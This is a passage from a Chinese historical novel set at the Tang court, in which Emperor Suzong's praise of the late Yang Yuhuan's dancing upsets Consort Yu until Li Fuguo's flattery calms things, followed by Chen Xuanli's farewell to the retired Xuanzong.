杜严也道:“不错,李大人所言极是,贵妃娘娘的舞艺可称得上是天下第一。”其余众大臣也不甘落后,纷纷起身进言,所讲之言,无非都是夸奖玉贵妃之言了,大同小异没有花样。
玉贵妃听到众臣夸奖,明知大半都是众臣巴结之词,但也听了大为受用,脸如桃花初绽,向肃宗娇声道:“皇上您说呢?”肃宗微微一笑,想了片刻,道:“爱妃,你是要听朕的真话呢,还是要听朕假话呢?”
玉贵妃一愣,随即笑道:“什么真话假话,皇上您说什么呢 ?”肃宗道:“朕可是认真的问你。”玉贵妃道:“那好吧,臣妾真的要听,假的也要听。”肃宗微微一笑道:“这假的嘛,当然是和他们说的差不多,说你的舞艺举世无双。”玉贵妃哼了一声,追问道:“那真的呢?”肃宗道:“这真的嘛,朕在多年前,曾见过一人的舞艺,爱妃说出来你别生气,你的舞艺虽然已十分的不错,但与她相比较,还是差了一些。”玉贵妃听罢,心中顿时醋意大起,道:“皇上你说的那个人是谁?她会比臣妾跳的好,哼!臣妾不信。”
肃宗道:“说起这个来,你们在座的各位也都该还记的。”杜严问道:“不知皇所说的是何人啊?”肃宗道:“就是前朝皇贵妃杨玉环。”众人听了一愣,不由的相互看了看,肃宗端起酒杯,喝了一口酒,见众人皆不言语了,说道:“怎么了,来来喝酒。”众臣忙举起酒杯,齐道:“皇上请。”
玉贵妃哼了一声,从肃宗怀中坐起,道:“皇上,臣妾身子有些不舒服,先行告退了。”说罢转身向后殿走去。肃宗忙拉住玉贵妃,笑道:“怎么了爱妃,是不是生气了?”玉贵妃没声好气的道:“臣妾哪敢生皇上您的气,臣妾是气自己舞艺不精,在此献丑了。”肃宗笑道:“多心了不是,朕说杨贵妃舞的好,但也没说你舞的差,更何况那已经过去十几年了,杨贵妃早已经作古,眼下当然依爱妃的舞艺天下第一了。”
肃宗嘴上虽是这样说,其实内心中却不是这样,这只是安慰一下玉贵妃。他清楚的记得十余年前的一天晚上,他进宫向玄宗请安,正巧遇上杨玉环在为玄宗起舞。杨玉环不但有着绝世的容貌,而且舞艺更是无人可比。那一次让肃宗瞧的如痴如醉,至今仍是念念不忘,记忆犹新。为了能够再看到杨玉环的舞姿,他有事没事总往宫里跑,为的就是能有机会一睹杨玉环的风姿。并且他还出重金,买通了宫内一名画师,趁玄宗大宴群臣,杨玉环即兴起舞之时,画了一副“贵妃醉酒图”,为了不至于此事露出去,画成这后,他还派人偷偷将那名画师杀之灭口,到今那副“贵妃醉酒图”还珍藏在御书房的密室内,连玉贵妃也不知道。
玉贵妃作势要走,便是要激一下肃宗,见肃宗这么一说,便也顺水推舟,说道:“那好,刚才皇上说的话,还算不算数。”肃宗笑道:“君无戏言,当然算数了。”玉贵妃道:“那就请皇上赏赐臣妾吧!”肃宗道:“不知爱妃想要什么,只要是朕能办到的,一定答应。”玉贵妃想了一阵,还真不知想要什么好,寒月宫中金银珠宝,绫罗绸缎可是什么都不缺,想要什么倒还真把她给难住了。
吴荣起身道;“娘娘舞艺非凡,何不向皇上要个‘舞艺天下第一’的封号呢?”玉贵妃拍手笑道:“对呀!我怎么没想到呢?”拉住肃宗的手,道:“臣妾就要这个赏。”肃宗迟疑道:“这……这……”玉贵妃道:“怎么皇上不愿意,您则才不还是说君无戏言,怎么这么快就反悔了?”肃宗道:“爱妃要别的赏赐好不好,这个朕……”玉贵妃撒娇道:“不嘛,臣妾就要这个,别的什么也不要,这可是皇亲自答应的,不许反悔。”
李辅国见肃宗眼神闪烁,一副心不在嫣的样子,显是心中另有所想,他跟在肃宗身边多年,自是对肃宗的心思摸的最准,眼见肃宗左右为难的样子,心念忽然一动,已揣摸到肃宗心中所想的事来。当下站起身,说道:“皇上,这杨贵妃的舞艺是不凡,但俗话说的好,长江后浪推前浪,一代新人换旧人,那都是以前的事了,娘娘现在的舞艺并不见得比杨贵妃差,至于这个封号吗,微臣以为娘娘还是不要的好,以免得惹来不必要的麻烦。”
玉贵妃不解问道:“ 李大人这话是什么意思?”李辅国笑道:“娘娘你想啊,这天下会舞都众多,倘若让她们得知娘娘得了这个‘天下第一’封号,定会有人不服气,说不得还会上长安来向娘娘您挑战。”玉贵妃笑道:“她们要是敢来,我就派人把她们全抓起来,看谁还敢来。”李辅国道:“但天下的人太多了,只怕娘娘想抓也抓不完,更何况皇上是勤政爱民的仁君,又怎么会为这一点的小事,而乱抓自己的臣民呢,娘娘你也不想让皇上背负个不好的名声吧?”
李辅国的一翻话说的众人纷纷点头称是,其实这乍一听起来,似是为国为民考虑,实则是在大拍肃宗与玉贵妃的马屁,但还让旁人一点也听不出来,真可谓拍马屁高手中的高手。
玉贵妃经李辅国这一说,气也全消了,本来她对这个封号就无多大的兴趣,只是一时心奇,现在还真怕肃宗万一真的封了自己这个封号,那天下的舞者,都来找自己比试,这一来,万一有容貌出众者被肃宗看上,纳为妃子,那自己的地位可就堪忧,可不能为了一个徒有虚名的封号,而丢了自己贵妃的宝座那样可就得尝失了。当下说道:“算了,皇上臣妾也没有打算要这个封号。”肃宗笑道:“但朕的话还是要算数的,这样吧,近日新罗国刚进贡了一批贡品来,朕让你去随便挑几件如何?”玉贵妃道:“多射皇一赏赐。”
一边的吴荣这才松了口气,本来他出这个主意,是想拍玉贵妃的马屁,谁想弄巧成拙,差点惹出祸事来,幸得李辅国从中解围,这才放下心头的一块大石,对李辅国自是十分的感激。
陈玄礼陪玄宗下了几盘棋,见天色已经不早,便道:“太上皇,微臣在宫内不能久留,待日后有空,微臣再陪太上皇下棋吧!”玄宗点点头道:“好吧,玄礼以后你要多尽心尽力,扶佐皇上,治理朝政。”陈玄礼单膝跪地,道:“ 微臣一定尽皆国辅助皇上,为国为民,鞠躬尽粹,死而后已。”玄宗扶起他,道:“好好,有你这名话,朕就放心了。”扭头向高力士道:“力士,你替朕送送陈将军。”高力士应了一声,道:“是,太上皇。”陈玄礼道:“太上皇,您也要多多保重龙体。”玄宗点头道:“朕会照顾好自己的,你去吧!”
陈玄礼行过礼后,由高力士送到宫门,扭头见高力士愁眉不展,说道:“高总管,太上皇最近过的怎么样,还顺心吗?”高力士叹道:“不还是跟以前差不多,太上皇这几天饭吃的都很少,长此下去这怎么好啊?”陈玄礼道:“那皇上和其他几们位王爷,不常来看太上皇吗?”高力士苦笑道:“要是那样就好了,可惜的是,叹!不多说了,免的让人听见,传到皇上耳中就不好了。”